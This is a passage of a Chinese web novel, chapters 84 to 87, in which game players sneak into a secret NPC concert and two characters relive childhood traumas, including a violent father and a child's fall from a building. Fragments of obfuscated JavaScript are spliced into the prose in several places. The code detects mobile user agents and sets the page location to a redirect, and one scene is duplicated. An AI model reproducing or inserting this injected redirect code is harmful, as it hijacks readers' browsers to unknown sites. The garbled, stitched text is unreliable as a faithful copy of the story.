l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995970|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见你啊——” …… “超能神药,只要888一支,买十送一。啊这,好像在哪里看过……” 孟锦竹小声提醒:“这不是桥下那个用技能NPC身上的吗?” 林屿放下卡片,又在眼前展开黄瓜摊主递来的“入场券”,“狂欢之夜音乐节在海天商城重大开幕,时间XXXX,地点A区负二楼,邀请所有自由者的参加。这就是张海报,你在驴我吧?” 黄瓜摊主苦着脸,“我驴谁也不敢驴你啊,知道的我都说了,我就是替主办方发传单而已。” 林屿放下手上的两张纸,“名片和海报都是同一个主办方给你的?” “不是!”黄瓜摊主看了看她的脸色,“……渠道不同,所以能不能放过我,就当我是空气吧,啊?” “神药呢,能不能给我看看?”林屿伸出手。 黄瓜摊主不情不愿地掏出一管试剂模样的东西放在她手里,林屿一怔,慢慢收起神色,在孟锦竹不赞同的眼神中往指尖倒了一滴,沉下脸。 “石头……” 庄建此时等得不耐烦,有些焦躁地问道:“你说这个不是目标,那就别在他身上耗时间,赶紧完成任务是真。” “你说得对。”林屿没有和他争吵,利落起身,“我们立刻找目标。” “怎么了,发生什么事了?”孟锦竹模糊地感觉到她态度的变化,“你发现了什么?” “这里面有石头……”话还没说完,林屿侧过身子,一道黑影咻地从脸颊边掠过,有温热的液体顺着火辣辣的伤口流下。 白色狮子猫落在另一头沙发边缘,悠悠舔了舔爪。 “是唐瑜妡!她知道我们在这里了!” “该死!”林屿抓起想溜的黄瓜摊主,“音乐会的弟子在哪?带我们去!” 她利落地把白猫送出店外,随后紧跟黄瓜摊主没入人群之中。 “你说的位置在这里?”孟锦竹上看下看,男士WC标志依然没有多一条裙子,厕所里隐约有交谈声,“这——还有人在里面,不太好吧,万一撞上现场?” “哎呀你们在躲追杀,就别挑了。”黄瓜摊上前一把拍开活页门,和几个正要脱裤子的人大眼对小眼。 “你、你们!”染了一头绿毛的小青年脸色青红地指着闯入者。 林屿心说这么指头正对着我,左右一看发现自己是这里唯一女性外表的生物,抽了抽嘴角,随后往里一跨,低声问:“第二间?” “啊?对!”黄瓜摊主没反应过来,就见这瘟神冲进厕所第二个隔间,几声机关之后人就不见了。绿毛青年目瞪口呆,随后被庄建赶出了厕所。 “我还没上呢!”门外隐约传来哭声。 庄建走到第二个隔间,开门发现人果然不见了,哼了一声,拎起他的衣领,“你可千万别骗我。” “当然没有,当然没有。”黄瓜摊主一脸小心地抬起本该沉重无比的整个马桶,地板咔哒一声,突然向下倾斜。 刷。 三人滑入下一层,看到正在等他们的同伴。 “接下来怎么做?” 黄瓜摊主正要说话,林屿却听见头顶的响动,捕捉到熟悉的音色,压低声音,“他们追过来了,快走!” 84.第八十四章 “你、你们!”染了一头绿毛的小青年脸色青红交加地指着闯入者。 林屿心说怎么指头正对着我,左右一看发现自己是这里唯一女性外表的生物,抽了抽嘴角,随后往里一跨,低声问:“第二间?” “啊?对!”黄瓜摊主没反应过来,就见这瘟神冲进厕所第二个隔间,几声“咔哒”之后人就不见了。绿毛青年和他的同伴目瞪口呆,随后被庄建赶出厕所。 “我们还没上呢!”门外隐约传来的抓挠声直接被逃命的几人丢至脑后,黄瓜摊主在心里回了一句:憋一憋又不会怎样。 就像他对瘟神的复杂感情已经发酵成锅都装不下的面团,但对着老大和瘟神本人还不是一个屁都不敢放。 …… 唐瑜妡走进酒吧,来到他们之前的座位,轻轻捻起地上的卡片,“他们不在这里。” 三五只白猫在舞动的人群脚下无声无息游窜,寻找对手的踪迹,华浩俊和沉默不语的田子阳面面相觑,露出焦急的神色,“现在怎么办?他们说不定马上就能完成最后一个目标了!” “我们每人也只差最后一个目标。”半晌,田子阳说道,他不得不为自己辩解,提示自己派上的用场,不然他怕一出副本就被清理门户。 “在用光所有容错之后。”唐瑜妡哼笑一声,“指望你之后能不出错不如指望公猪上树。” “所以我们要输了?”华浩俊露出绝望的目光,浑身热血凉下去。对这个年纪的男孩来说,输游戏比死还难受,是人生至暗的时刻。 田子阳低下头不知在想什么,感情上,他希望己方输,但理智上,他又希望这边赢,赢了他才能把过去一笔勾销,继续在玩家公会混下去。 “我们不会输。”唐瑜妡却没有一点临近败局的神色,似笑非笑地看向田子阳,“也是多亏了你,他们那么容易就在商场杀了一个目标,让你来却错误频出,比之前蒙对的概率还低,所以我不得不转换战略:任务可以慢慢完成,只要让他们出不去。” 华浩俊不明就里,“怎么出不去,可他们马上就能出去了啊?” 唐瑜妡慢条斯理地解释:“不会的,如果那么容易找到目标,他们早就找到了,也不会这样躲躲藏藏。” 说完随手拽起隔壁座位的一人,“你刚才一直偷瞄我们,怎么,知道上一桌去了哪里?” “没、没偷看,你不要污蔑人!”绿毛青年突然被攥起领口,受到惊吓脸色一变,随后双手捂裆,表情精彩极了。 他的同伴一捂鼻子,试图替他挽尊,“都怪那帮抢厕所的人,怎么,这里是他们家开的吗?” 唐瑜妡松手,不动声色地后退一步,“走,去男厕所。” …… 庄建走到第二个隔间,开门发现人果然不见了,哼了一声,拎起他的衣领,“你可千万别骗我。” “当然没有,当然没有。”黄瓜摊主轻手轻脚地抬起本该沉重无比的整个马桶,地板下的机关响了几声,突然向下倾斜。 刷。 三人滑入下一层,和不知往什么方向走的同伴面对面。 负一楼的结构有些像停车场,水泥沥青装修风,周围都是光秃秃的承重柱,但与停车场不同的是这里的柱子之间修了墙面,将偌大的空间分割成一条条岔路,就像迷宫一样。零星几点灯光照亮了空旷的地下,显得冷清又诡秘。 林屿用手摸了摸水泥墙,“新修的吧,还没干呢。” 黄瓜摊主不太熟悉路线,在走了数次死路之后,顶着六道死亡视线,七绕八绕之后终于找对了地方,林屿几人踏进场内,耳畔瞬间被巨大的欢呼吵闹声淹没。 …… 男厕所,唐瑜妡居中站定,华浩俊一把将绿毛青年扔进去,和田子阳一左一右堵住离开的方向,“说不说,他们在里面做了什么?” 绿毛青年捂着湿透的裆,一脸羞愤欲死,“隔间,他们进了第二个隔间!” …… 场地有半个足球场那么大,像是挖穿了半个副本地底,东面垒起一个高高的幕台,上面还没有人,只有“狂欢之夜”几个大字分外醒目。场地内,穿着侍者服的NPC穿行在人群中维持秩序,地面上散落着被踩碎的神药小卡片和海报。 林屿回想这一路根本没遇到拦路检票的人,瞬间想明白这个音乐会根本不需要什么入场券,都是黄瓜摊主驴上个主顾的。她看了看方才进来的唯一的入口和万众瞩目之下帘幕遮蔽的幕台,不知为何神色逐渐凝重。 “我还有事,那就先走了?”黄瓜摊主见路已经带到,就想趁他们观察环境的空档开溜,然后又又又一次地被林屿拦了下来,瞬间哭丧着脸,“请问您还有什么要求一并说了呗?” 啧,敬语都出来了,林屿可怜他一秒,随后冷酷无情地问道:“这个音乐会你知道多少?把内幕都吐出来,不然就留在这里当我们的积分。” 黄瓜摊主再一次受到人身威胁,一脸震惊无措外加我看错你的表情,嘴唇哆哆嗦嗦说不出话来,连孟锦竹都不忍心地捂住脸。 林屿凑近他的耳朵,“提示词:自由者,海报上面写的‘邀请所有自由者参加’,也就是说这里的人都是有记忆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019712|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却没脱离系统的NPC……你把我们带到狼窝里,究竟是想做什么?” “喂!”庄建一看这地方就觉得很适合浑水摸鱼,看见林屿没有第一时间找目标忍不住出声催促,却被她一个眼神瞪回来。 “等着,输了算我的!”林屿以一种不容置喙的语气说道,扭头继续与提在手上的黄瓜摊主对峙,她又问了一遍,“外面那些墙是新修的,为的是防备不相干的人进来,你们把石头做成药剂,然后让副本NPC觉醒记忆与技能,现在又把人聚集在这个秘密空间,究竟是想做什么?” 黄瓜摊主犹犹豫豫,忽然身体一僵,他感觉到腹部悄无声息地贴上一个冰冷的物事。 林屿拿着枪,借由衣物挡住路人的视线,嘴唇凑到黄瓜摊主的耳畔。 “不说吗?” “我我我我我说!你别动手!不是你想的那样!我没有想要谋害你!”黄瓜摊主要哭出来了,清秀的脸上一双圆眼睛蓄满泪水,看起来分外可怜。 林屿忍不住升起一股“自己是恶棍”的罪恶感,但是身在龙潭虎穴她也没匀出多少同情心,前后左右,人山人海,在场的全是拥有记忆开始仇视玩家的NPC,一旦她暴露玩家身份,被撕碎的就是她自己了。 “你可以挪一点吗?如果我真被打中石化你也会暴露嘛……” 黄瓜摊主试着把身子挪远了点,也不敢藏事了。 “其实我只是听命令去卧底,这种药剂不是我这边研发的,是一个研究所副本推出来的,老大知道以后开始查来源,所以我混进了售药下线,包括这场音乐会也是他们办的,我只是知道场地帮忙拉人。会带你们来也是为了让你们完成任务嘛……” “主办方——研究所叫什么名字?他们的目的是什么?”林屿直截了当地问道。 “你这么快就想明白了啊……”黄瓜摊主嘟囔了一句,“名字是第五十三号研究所,至于目的我也不知道,不然也不会继续在这里拉人……” 他后面说什么林屿已经听不见了,脑海里,“第五十三号研究所”訇然回响,撞击出洪钟般的嗡鸣。 53,第五十三号研究所,言教授。 林屿掏出进副本以来那张几乎没有用过的备用传信纸,想要写字,却不知从哪里写起。在她进副本之后,为什么韩舒一个消息也没有传递过,宛如人间蒸发? “糟了!他们来了!低头,往那边挪!” 一直盯着入口的孟锦竹看到了玩家公会的人。 对手的视线已经扫来,孟锦竹先人一步压下林屿的头,“别和他们对视。” 85.第八十五章 种植者队驼背弓身,猫猫祟祟,甚至把黄瓜摊主推出去挡人。 黄瓜摊主:“???” 他一脸麻木地正对入口,用窄瘦的肩膀为身后三个债主撑出一片遮风挡雨的天。 三人借由挡箭牌往人最多最拥挤的方向挪,孟锦竹小声道:“只要不抬头就不会被发现,这里光线暗。” 除了幕台上有泛光灯照明,偌大的空间里只有零星的LED灯闪烁,这些灯光之下两步远就看不清人脸,看得出来场地布置十分匆忙,或者说,幕后的人希望所有的人把注意力放在他一个人身上,不要分心去留意别的。 多亏了黑暗遮掩,他们才不至于立刻暴露。 “他们迟早会找过来,你们到底想做什么?”庄建低呵。 “想赢。”林屿没有犹豫地说道,随后闪电般伸腿,让一个路过的侍者摔倒在地。 “啊对不起对不起。”她口上说着,给同伴使了一个眼色。 孟锦竹登时会以,迅速在他后脑一击,将人打晕后以肩膀支撑着他,“先生,你怎么了,需要我扶你吗?” 庄建此时也反应过来,半蹲起身,“我也来扶你。” 周围的NPC往这边看了一眼,随后不感兴趣地收回目光。 黄瓜摊主脸上抽搐了一下,想到他们这帮凶残的玩家就是这样杀死一个又一个同类的,不由涌起兔死狐悲的凄凉,心有戚戚地挪开视线。不过他也不是完全站在NPC那边,他感兴趣的是她竟然没有选择观众,第一个就向侍者下手。 “你早知道这些人不对劲?”他借助侧身的姿势低声问道。 “能管这些人的,大概率是知道更多的那一拨,就和你一样。”不过第一个就能猜对算是十分的运气了。 林屿检查之后,点头,“动手吧。” 庄建强忍胜利的激动,从背包里拿出手-枪。 就在此时,地上猛地窜起一道黑影,向他的手咬了过去,庄建吃痛甩手,恰好此时旁边NPC看了过来,正好目睹他手握白色枪口的一幕,顿时大声惊呼: “外来者,外来者杀手!” 听到这个词的NPC纷纷侧目,开始在人群中搜寻可疑目标,连附近侍者的注意力夜转移到声源处,杀气腾腾地往骚乱中心靠近,寻找混进来的玩家。 “糟了,快动手!”林屿一边帮他转移耗子一边催促。 庄建咬牙试图对准,然而他脚下不知什么时候多了几十只黑色大耗子,它们顺着他的脚往身上爬,往他的喉咙和眼睛咬,扰得他无暇他顾。 林屿也被逼得破了音,“太多了!我一次只能丢一个!先撤,躲起来!” 周围的NPC已经退开,把事故中心隔离出一个无人的空圈,有人在尖叫,有人在喊打喊杀,几个技能已经偷偷摸摸地丢向他们,使庄建更找不到机会摆脱大耗子的袭击。 林屿心有所感地抬头,正看见唐瑜妡隔着几十颗脑袋,遥遥望过来的目光。无面斗篷人在对面大boss身旁如3D投影般闪现身形,随后一路分花拂柳,自人仰马翻的NPC海中破浪而来。 “这是什么东西!” “别推我!” “谁的技能快收回去!” “啊啊啊啊!是商场杀手!” 被强势清场的NPC乱成一团,人群中,几个NPC认出了这几个为杀戮而生的怪物,开始大喊着让旁人躲避,可惜知道的人根本不敢上前阻拦,反而躲得更快。 无面人不断接近林屿,只剩下最后十米。 五米。 两米。 它们已经将手臂刺刀横在身前,而这样的速度一击斩下,能直接让人腰身分离。 林屿面对着靠近的死神,宛如再次经历着行刑的一幕。她看着远处静观的唐瑜妡,脑海里忽然浮现起上回死里逃生之际混乱的记忆。 “啪。” 极强的光线扫射全场,随后整个场地亮如白昼,两排探照灯在技能的加持下摇晃着挂在空中,炽烈的灯光刺痛了所有人的眼睛。 所有人都在此时用手挡住眼前的光亮。 这时,一直无人前来的幕台响起被话筒放大的声音。 “喂,能听见吗?在场各位自由者们。” “我是药剂的开发者,言宏定,也是召集你们到场的人。” 他说完,灯光渐渐暗下,然而已经没有人关注先前的纷争了。 孟锦竹不可置信地看向幕台,同样面露匪夷的还有刚才对种植者成员痛下杀手的唐瑜妡。 “言教授……” 心绪激荡之下,唐瑜妡顾不得操控无面人,望着幕台喃喃出声,“她说的是真的,言教授还活着……” 或许林屿这样的新玩家不清楚,但白□□毁事件却是每一个老玩家心中的噩梦,一直以来的安全幻想被无情打破,众多玩家因此痛失亲友。那时所有在小黑屋里的玩家都没有再出现过,所有人都默认他们已经死了,可现在,一个活生生的面孔就这样大张旗鼓出现在眼前。 他现在是什么状态?真的如林屿所说,已经成为NPC了吗? 他是如何逃出来的,是否了解白塔的秘密,又对整个世界的运行机制了解多少呢? 言教授在人群无言的注目中颔首示意,沉稳的声音回响在大厅上下,他没有过多铺垫,直入主题的内容吸引了所有人的心神。 “你们都是使用过药剂的人,想必已经回想起了作为人类的一生,你们曾经活过,却全部有着死亡的记忆,有的人因为车祸横死,有的惨遭杀害,有的罹患绝症,年纪轻轻就不得不与世长辞,还有的是到了这个游戏中,因为种种意外带着不甘与痛苦死去。在注射药剂回忆起一切之后,你们都满怀痛苦与不甘。 为什么会忘记?又为什么被困在这里,忘记前尘往事、亲朋爱人、喜悦仇恨。为什么被当做工具利用、消磨了这么久?是谁给你们灌输僵硬的规则,让你们像可笑的机器一样在副本里迎来送往? 今天,我要让你们得到自由,我也会告诉你们一切的真相。” 方才尖叫的、找人的、指认的、要抓人的和要往边上躲的NPC全部安安静静,凝神听讲,在这短暂的间隙,场内落针可闻。 今天她就要知道这个世界的真相了吗?就要知道过去几十年的记忆究竟是不是一场虚妄,而这几年困缚白城的绝境是不是还有打破的希望了吗? 唐瑜妡手指发抖,她看了看两个满面怔愣的部下和远处凝神听讲的对手,闭了闭眼,三个斗篷人无声消散,她没有趁此时动手的心思。 庄建虚握着手-枪,被所有人脸上的渴望震慑,即使胜利近在咫尺,他也不敢轻举妄动,打破这样近乎肃穆的场面。 “关于这个世界,关于你们的现在与未来——”言教授双臂向上扬起,所有人跟着不自觉抬头,就在此时,头顶漂浮的探照灯悄然变化,露出内部搭载的喷头。 点点凉意泼撒在脸颊的皮肤上,随着一呼一吸进入人体,林屿没有像NPC那样毫无防备,她反应极快地捂住口鼻,就看见NPC像是失神了一样,开始模糊不清的呢喃。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025230|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这水雾有问题! 林屿骤然看向幕台,心中惊疑不定,而他像是早有预料一般,视线落在此处,似乎在为她解释。 “不要抗拒这些药雾,里面有我的记忆和推理,全部关于方才问题的解答。我不能占用太多的时间,也不能动员更多的灵魂,否则会被幕后者阻止。我尽力而为,替你们打开这个世界的第一个出口。” 指缝已经阻挡不住药雾的渗透,林屿屏息到了极限,骤然深呼吸了几口,霎时天旋地转,跌落进一片漆黑的漩涡。 “把明天要学的语文课文背下来,英语单词表背到第39页,睡觉前拿给我检查。我新买了一套数学练习册,三天之内把学过的题都做完。” “可是老师没有说要背这篇,这是现代文,一般不用背,英语课文我好多单词都还不懂,这个练习册好厚……” 男人眉头一皱,“那你就等着期末考差吧,背不完今天不准睡觉!过来,我看着你背!” 林屿抱着书和练习册,被父亲匆匆忙忙赶进书房,然后他重重地关上门,像是在表达对她不思进取的不满,随后在旁边坐下,在电脑上看论文。 她刚刚小学一年级,三科的作业还不算多,但是每天回家之后却没什么看视频玩游戏的时间,完成了父亲额外的任务之后基本上就到了睡觉时间,甚至有时候还会熬一点夜。不过她这个年纪精力足,熬夜了第二天依然活蹦乱跳。 虽然今天是周日,而昨天一天都在被父亲抽查之前做的试卷,想要放松玩乐的心前所未有地强烈,但林屿不敢反驳,战战兢兢地翻开书开始背课文。 在父亲身边,她总会有种很有压力的感觉,她背了一会儿,窗外的阳光暗下去,独自也开始咕咕地叫,她也开始心不在焉起来。 “啪。” 清脆的皮肉击打声,林屿沁出眼泪,捂住发红的手臂,端端正正地坐好继续背诵。另一边,父亲收回手掌,接了一个电话。 “入学的心理测验发给我了?我看看……你说近些年那些抑郁的有各种各样问题的人怎么越来越多,知道自己有病还来上学,到时候一有压力就跳楼,弄得鸡飞狗跳的,麻烦得很……” “我肯定不招这种人,谁招研究生是白养着人的?不能一天十六个小时在实验室能做出什么成果?上周一晚上我十一点出办公室,竟然有三个学生不在工位,他们以为这是哪,养老院吗?” “嗯,辛苦你了,我知道不合规,测验是为了更好地辅导新生,我都知道的,不会外传这些的,你放心……我只是筛选一些抗压强的。” “不能放在明面上说?我当然知道,只有心理脆弱的才会抑郁焦虑,但是不能区别对待,就像明面上不能歧视那些有传染病的一样,不过我们实验室三年都没招任何一个有问题的,主要是你的功劳……” “对了,心理测验的题发我一份,我要打印出来给那几个研究生做,如果有问题会考虑劝退……” 林屿听着听着眼睛渐渐亮起来,“有病”就可以不用上学?也就是说,她可以不用天天背那些不感兴趣的东西,不用每天学习到十二点才能睡觉,甚至可能有时间出去玩? 叮!她心里有一个大胆的计划! 林屿看着六岁的自己一脸兴奋,抬手深深地捂住了脸。 这段记忆……这段记忆是如此久远,如此清晰,在每一个奔逃的梦境中展露黑白线条,张开捕猎的四肢,然后戛然而止。 她知道之后的发展,知道她会面临一次生死危机,却如何也想不起来是怎样度过的。 86.第八十六章 林屿小心翼翼地把做好的心理测试题放在父亲办公的书桌上,在心里比了一个“耶”,这样一来她就是病人了,可以被允许好好休息,之前想去公园逛的鲜花展也有机会去瞧一瞧,要知道,再过几天春天就过去了。 绝对万无一失,她查了好久,千挑万选之下选了一个“反社会人格障碍”,然后找了一款软件分析出各项行为和心理特征,让AI反推题目该怎么填——做题AI在这时发挥了巨大的作用,林屿信心十足:就算不能完全切合,也能模仿个四五成。 “如果抑郁和焦虑是心理上的感冒,那么人格障碍就是心理上的癌症”。她对标癌症的标准,大差不差也是个感冒的程度,一定可以得到父亲的关心和渴望已久的放假的! 林屿满心雀跃地离开了书房。 当晚。 暴风一般的风波席卷了整个房间,书房、起居室、客厅、餐厅都在追逐战中被弄得一片狼藉,林屿脸颊红肿,捂着青紫的胳臂躲进卧室,心惊胆战地听着砸门的声音和父亲的怒吼。 “我怎么生了她这个孽障,真是、真是气死我了!反社会!小小年纪反社会!” “……不准确,恶作剧?她怎么可能有这个脑子,她才多大?这么大就已经有这个苗头了,以后出去杀人放火人家会怎么看我?” “成年人的标准不适用于儿童?三岁看到老,我早该说就不该留下她!……什么?有没有尿床、放火、虐待动物?肯定有!只是藏得好没让我们发现过!” “……不能主观臆测,暴力不是解决问题的方式?棍棒底下出孝子,不然让我跪地求她改过自新?不和你说了,这是我的家事!” “……你别威胁我,闹到警察局也不会有人管的,别忘了你干的那些事,挂了!” 一串叮叮当当的撞击,父亲模糊的声音隔着门,每一句话都让她心惊胆寒。 “钥匙都在这里了吧,那就一个一个试!我就不信她还有地方躲……你说你也气得不行,那好,等下你堵着门,我进去逮人……” 林屿惊恐地捂住嘴巴,她想藏进床下,但摸到刚才躲茶几下面被扫帚柄戳出来的淤青,手臂哆哆嗦嗦,怎么也爬不进去。 最后,她打开窗户,看了看楼下——十层的高度,足以让人眼晕,她站在窗户沿上的腿一下子软了。 门口传来钥匙扭动的咔哒,林屿脑海里顿时浮现出父亲阴云密布的脸,一股寒意从脊椎流窜到脚底指尖,她一咬牙,顺着排水管一路往上爬。 只要不往下看就不会怕! 卧室门被一把拍开,拿着宽两寸皮带的男人像野兽一样扑进来,结果房间里只有空空荡荡的床铺。 “出来!别逼我抓你,抓到了就不是现在打得这么轻了!” 男人一把拉开衣柜,随后“砰”地甩上门,第二扇,“砰”,第三扇。 “砰!” “出来!你又躲在床底下了吧!他妈去把扫帚拿过来,要那个手柄掉了的,对,就是上面是空心金属管的那个,拿过来!” 男人拿着扫帚,将锋利金属管的一侧正对床底,弯下腰。 “敬酒不吃吃罚酒……” 强抑暴怒的嗓音掠过空荡荡的床底,吹起一层薄灰,薄灰上没有一丝划痕,一看就知道没人在里面。 接二连三的受挫几乎让男人发狂,他一推床头柜,梳子、镜子、小发夹等七零八落的东西散落一地,“出来啊!你以为就能躲过去了吗!出来!你有种就自己撞死一辈子别让我逮到!” 男人吼得破了音,忽然间,他看到微微飘动的窗帘。 窗户打开了三十厘米,正好可以让一个儿童通过。 男人心惊了一下,随后往下一看,楼下的街道冷冷清清,偶尔有亮着灯的车辆从马路中一闪而过,没有血肉模糊的尸体,也没有围着指指点点的路人。 林屿手脚并用,完全是借助灵巧的身形向上挪腾,然而力气还是接连流失。 家家户户的窗户都装着防盗网,偶尔有没有防盗的,也紧闭着落了锁,根本推不开,她不得不一直往上,再往上。 从十楼要一直到三十六层才能登顶。 她在二十二层手滑了。 男人缩回脑袋,将窗户关上,锁死,自觉封住了逆女的退路,转身咬牙切齿地对妻子说道:“她跑了!哼,等她回来……” 他背对着窗户,林屿掉下的时候只看到一个背影,和被他遮挡的女人。 寒风灌满耳膜,脸颊刀割一般疼痛,红肿的热度还没散去,纤薄的皮肤被轻而易举破开细小的血口。 可她感觉不到痛,尖锐的气音中,只剩下无尽远去的天空,满心想到的,只剩下飞速坠落的地面。 她在等那一声“砰”。 林屿闭上眼睛。 …… “唉,为什么我老唐家没个男孩呢?唉!” 幼年的唐瑜妡听得最多的就是这句话。 她父亲每每丢下这一句,然后以理所应当的态度在外鬼混,但肾不作美,也可能是荒唐的生活损伤了生育,无论她父亲有如何多的情人,都没有得到第二个孩子。 唐瑜妡无所谓,只是按部就班地上学、回家。老师不会说这句话,同学不会觉得女孩比男孩弱,甚至母亲也觉得父亲不可理喻。 她不知道父亲为什么这么想,只是觉得他的这个想法和周围人格格不入,让他显得很可怜。 “你家姑娘成绩那么好,以后出国读个管理法律,你就不用操心公司的事了。”同行如是说道。 然后他父亲就会生气,“我老唐家五代单传,绝对不可能让这个女娃断了根!” 但无论如何出轨嫖-娼,都没有增加财产的第一顺位继承人,反而因为父母年老离世和妻子的离婚,让唐瑜妡成了遗产第一顺位的唯一继承人。 这天,父亲带着她回老家上坟,车开在高速路上,左边车道忽然迅雷不及掩耳地撞来一辆逆向行驶的轿车,双边加起来接近两百四十千米每小时的速度根本不让人有任何反应的时间,车头瞬间损毁报废,车身在相撞力度下重重回弹,飞旋。 整段车道被破坏得不成样子。 唐瑜妡只感觉到安全气囊弹出,随后便在接二连三的撞击中失去意识。 她醒过来,浑身剧痛,腿死死地卡在车厢里。 轻轻一动,车便左摇右摆——此时,半截车厢已经在悬崖边。 驾驶座有一滩血,没有人,而她的手机不知掉在哪里,根本没法打电话报警。她的心冷了半截。 来时就注意到了,这一段路并非事故多发带,位置恰好是摄像头的盲区——监控总有盲区,而又因为道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15036512|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路两边使用新型材料的护栏轻易无法撞断,便不需要浪费人力物力预防超小概率事件。 也就是说,她现在时时刻刻有可能摔下悬崖,却不知什么时候才能等来一个救援。 唐瑜妡眼前发黑,不知什么时候又昏迷过去。 “快!这里有个人!” “是个小姑娘,唉呀造孽啊……” “那边那辆烂了的车里的还有一个人,但看样子……” 几个陌生人把她从车里救出去,她似乎听见他们在打120电话,忍着剧痛往他们说的另一边看了一眼。 呼,是另一辆车。 唐瑜妡醒来,父亲眼含热泪地从旁边病床上起身,他浑身包着绷带,一脸慈父模样,看着十分滑稽。 “小瑜啊,当时我也是最后一口气爬到公路上的……” 她顿时知道了原委。 父亲抛下她独自求救,并且没有和救援的人提起她,可能说她死了,也可能说车里没人。 可惜她没有坠崖。 “我知道,我都理解。”她轻声安慰,然后在第二年申请出国。 …… “你想活下去吗?”一个声音在耳边问道。 她已经与这栋楼唯一没有封阳台的一户擦肩而过,而这一户人住在五楼。 几乎没有思考,她立刻回答:“想!” “与我交换……” “换!都可以换!”林屿没等对方说完立刻接上。 几声胸腔震动的轻笑不知从什么方向传来,林屿还想再催促一下,忽然看见二楼的阳台,瞳孔瞬间缩小到极致。 人在坠楼的时候姿势是不会改变的,仰面坠下便是后脑勺着地,俯面坠下便是脸着地,直直跳下便是双腿着地。林屿爬管子摔下来,身体一直是望向天空的,当她看见二楼阳台时,已经离地面只有不到一秒的瞬间。 都怪这家伙磨磨蹭蹭…… 林屿觉得自己死定了,最后看了一眼天空,余光已经看见了一楼住户的顶棚,她有些后悔:不该回应莫名其妙的幻听,这下还没反应过来就要死了,死了还带着一秒升起又一秒破灭的希望。 然后在离地面只有一米高度时骤然撞上了一个东西。 硬的,有点弹性,撞得她有点疼。 风声变了,耳畔不再是尖锐的空气摩擦声响,轻柔的风拂过脸颊,忽上忽下的重心和横在后背腿弯的手臂也标示着她正稳稳当当躺在谁的怀里——她脱险了。 这是……在飞? “我说——在你们的文化里,把手放在异性肚子上是不礼貌的、轻佻的,或者亲密的行为,所以你可以把手放下了吗?”之前询问她的声音在头顶响起,呼吸间轻微的热气沁入发间,被寒气冻得冷冰冰的头皮瞬间发紧,林屿闪电般收回了手。 啊,刚才撞上的是他的肚子啊…… 林屿抬头,一双金棕色的眼睛像两轮明月高悬在上空,夜色晦暗,他的脸像是枕在轻软的白云上。她眨眨眼,终于看清了他的全貌——像动物一样夜里发光的眼睛潋滟多情,藏着着丝丝迫人的野性,挺直的鼻梁显得轮廓立体极了,红润的嘴唇像猫一样上翘。 瓷白、美丽、完美得不像是真人。 林屿看呆了一会儿,终于愣愣地问道: “你为什么有翅膀?” 87.第八十七章 他的背后,一双接近透明的翅膀缓缓地扇动,翅翼上爬满了奇妙的花纹,随着每一次舒展在夜色下闪烁微光。说不清这是一双什么翅膀,更接近动物还是昆虫,但毋庸置疑,他要么来自非现实的次元,要么不是人类。 林屿认真地,像大人一样沉思了一会儿,抬头,“所以,现在科技已经发展到可以给人装备会飞的翅膀了?” 他没有立刻回答,神色耐人寻味,翅膀扇动间,两人的高度一路拉升,直到能看见半个城市的灯火人家,高楼大厦像积木一般铺满脚底,而自己家楼顶的红光已经远到只剩芝麻大一点。 “很美。”他说,“感谢你的交换,我终于能看到你们的景色了。” “交换?”林屿后知后觉回忆起最后一刻的对话,“我和你交换了什么,这是你救我的条件?” “不如来猜一猜,你究竟得到了什么。”他没有给任何反应的机会,骤然松开托住人类幼崽的手臂,任凭怀中的女孩从千米高空落下。 林屿失声惊呼,耳边再一次灌满了呼啸的狂风,刚刚安稳下来的心脏再一次填满慌乱、困惑与不安。 她想,她痛恨谜语人。 方才伸手可触的天穹飞速远离,而那双流淌光华的双眼化作高空的鬼火,冷冷地看着狼狈的自己,她怀疑刚才的获救不过是一场恶意的戏弄,要么就是自己想象出来的虚妄,结局毫无改变,不过让死相更惨一点。 一切的开端,只是想放一天假去公园看鲜花展,事情为什么会变成这样……林屿闭上眼睛。 “背后。” 那个声音忽然出现在耳畔。 “感受风的方向。” 林屿骤然睁眼,高空上看戏的人不知何时出现在身畔,保持和她落下的速度一致。林屿看着他游刃有余地展翅,心脏像是被轻轻拨动了一下。 他说的背后。 忽然间,蝴蝶骨下方像是多了什么东西,她心念一动,一股无形的力量在背后萌生,艰难地对抗着气流与重力,最终完全伸展,在风中滑动,而她下坠的趋势变为试验翅翼的助力,林屿拧身,改变飞翔的方向。 